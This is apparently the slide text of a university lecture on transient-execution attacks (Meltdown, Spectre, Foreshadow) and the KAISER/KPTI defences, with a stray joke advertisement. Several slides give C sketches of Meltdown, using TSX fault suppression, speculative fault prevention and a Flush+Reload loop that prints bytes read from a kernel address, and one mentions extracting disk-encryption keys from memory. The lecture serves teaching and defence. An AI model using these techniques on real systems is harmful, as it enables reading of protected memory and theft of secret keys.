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Revolutionary concept!

Store your food at home, 
never go to the grocery store 
during cooking.

Can store ALL kinds of food.

ONLY TODAY INSTEAD OF $1,300

ORDER VIA PHONE: +555 12345
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0x7c680
0x7c6c0
0x7c700
0x7c740
0x7c780
0x7c7c0
0x7c800
0x7c840
0x7c880
0x7c8c0
0x7c900
0x7c940
0x7c980
0x7c9c0
0x7ca00
0x7cb80
0x7cc40
0x7cc80
0x7ccc0
0x7cd00
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int width = 10, height = 5;

float diagonal = sqrt(width * width

+ height * height);

int area = width * height;

printf("Area %d x %d = %d\n", width , height , area);
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char data = *(char*)0xffffffff81a000e0;

printf("%c\n", data);

segfault at ffffffff81a000e0 ip

0000000000400535

sp 00007 ffce4a80610 error 5 in reader
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Adapted code

*( volatile char*)0;

array [84 * 4096] = 0; // unreachable
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Flush+Reload over all pages of the array
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This also works on AMD and ARM!
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• Out-of-order instructions leave microarchitectural traces

• We can see them for example through the cache

• Give such instructions a name: transient instructions

• We can indirectly observe the execution of transient instructions
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Building Meltdown www.tugraz.at

• Combine the two things

char data = *(char*)0xffffffff81a000e0;

array[data * 4096] = 0;
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Building Meltdown www.tugraz.at

Flush+Reload again...
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... Meltdown actually works.
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• Open-source utility for disk encryption

• Fork of TrueCrypt

• Cryptographic keys are stored in RAM

• With Meltdown, we can extract the keys from DRAM
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...and remove them www.tugraz.at

• ...and remove them if not needed?

• User accessible check in hardware is not

reliable
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Kernel Address Isolation to have Side channels Efficiently Removed



Kernel Address Isolation to have Side channels Efficiently Removed

KAISER /ˈkʌɪzə/
1. [german] Emperor,
ruler of an empire
2. largest penguin, 
emperor penguin
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KAISER (Stronger Kernel Isolation) Patches www.tugraz.at

• Our patch

• Adopted in

Linux

• Adopted in

Windows

• Adopted in

OSX/iOS

→ now in every computer
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KAISER/KPTI Performance www.tugraz.at
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Foreshadow / Foreshadow-NG
1

[Van+18; Wei+18] www.tugraz.at

1
Jo Van Bulck et al. Foreshadow: Extracting the Keys to the Intel SGX Kingdom with Transient

Out-of-Order Execution. In: USENIX Security Symposium. 2018.
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L1TF/Foreshadow Demo
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Either:

• hyperthreading: only schedule mutually trusting threads on

same physical core

• context switch: flush L1 when switching to guest

Or:

• disable EPTs
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index = 0;

if (index < 4)

char* data = "textKEY";

LUT[data[index] * 4096] 0
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Prediction
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Systematization Tree www.tugraz.at

Transient

cause?

Spectre-type

microarchitec-

tural buffer

Meltdown-type

fault type

Spectre-PHT

Spectre-BTB

Spectre-RSB

Spectre-STL

mistraining

strategy
Cross-address-space

Same-address-space

PHT-CA-IP ⭑

PHT-CA-OP ⭑

PHT-SA-IP

PHT-SA-OP ⭑

in-place (IP) vs., out-of-place (OP)

Cross-address-space

Same-address-space

BTB-CA-IP

BTB-CA-OP

BTB-SA-IP ⭑

BTB-SA-OP ⭑Cross-address-space

Same-address-space RSB-CA-IP

RSB-CA-OP

RSB-SA-IP

RSB-SA-OP

Meltdown-NM

Meltdown-AC ⭐

Meltdown-DE ⭐

Meltdown-PF

Meltdown-UD ⭐

Meltdown-SS ⭐

Meltdown-BR

Meltdown-GP

Meltdown-US

Meltdown-P

Meltdown-RW

Meltdown-PK ⭑

Meltdown-XD ⭐

Meltdown-SM ⭐

Meltdown-MPX

Meltdown-BND ⭑

prediction

fault
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Meltdown vs. Spectre www.tugraz.at
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What do we learn from it? www.tugraz.at

We have ignored microarchitectural attacks for many many years:

• attacks on crypto → “software should be fixed”

• attacks on ASLR → “ASLR is broken anyway”

• attacks on SGX and TrustZone → “not part of the threat

model”

• Rowhammer attacks → “only affects cheap sub-standard

modules”

→ for years we solely optimized for performance
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When you read the manuals... www.tugraz.at

After learning about a side channel you realize:

• the side channels were documented in the Intel manual

• only now we understand the implications
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What do we learn from it? www.tugraz.at

Motor Vehicle Deaths in U.S. by Year
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Conclusions www.tugraz.at

• new class of attacks

• many problems to solve around microarchitectural attacks and

especially transient execution attacks

• dedicate more time into identifying problems and not solely in

mitigating known problems
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Out-of-Order Execution www.tugraz.at
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Instructions are

• fetched and decoded in the front-end

• dispatched to the backend

• processed by individual execution units
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Details: Exception Handling www.tugraz.at

• Basic Meltdown code leads to a crash (segfault)

• How to prevent the crash?

Fault

Handling

Fault

Suppression

Fault

Prevention
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Meltdown with Fault Suppression www.tugraz.at

• Intel TSX to suppress exceptions instead of signal handler

if(xbegin () == XBEGIN_STARTED) {

char secret = *(char*) 0xffffffff81a000e0;

array[secret * 4096] = 0;

xend();

}

for (size_t i = 0; i < 256; i++) {

if (flush_and_reload(array + i * 4096) == CACHE_HIT) {

printf("%c\n", i);

}

}

46 Daniel Gruss — Graz University of Technology



Meltdown with Fault Prevention www.tugraz.at

• Speculative execution to prevent exceptions

int speculate = rand() % 2;

size_t address = (0 xffffffff81a000e0 * speculate) +

(( size_t)&zero * (1 - speculate));

if(! speculate) {

char secret = *(char*) address;

array[secret * 4096] = 0;

}

for (size_t i = 0; i < 256; i++) {

if (flush_and_reload(array + i * 4096) == CACHE_HIT) {

printf("%c\n", i);

}

}
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Make it faster www.tugraz.at

• Improve the performance with a NULL pointer dereference

if(xbegin () == XBEGIN_STARTED) {

*( volatile char*) 0;

char secret = *(char*) 0xffffffff81a000e0;

array[secret * 4096] = 0;

xend();

}
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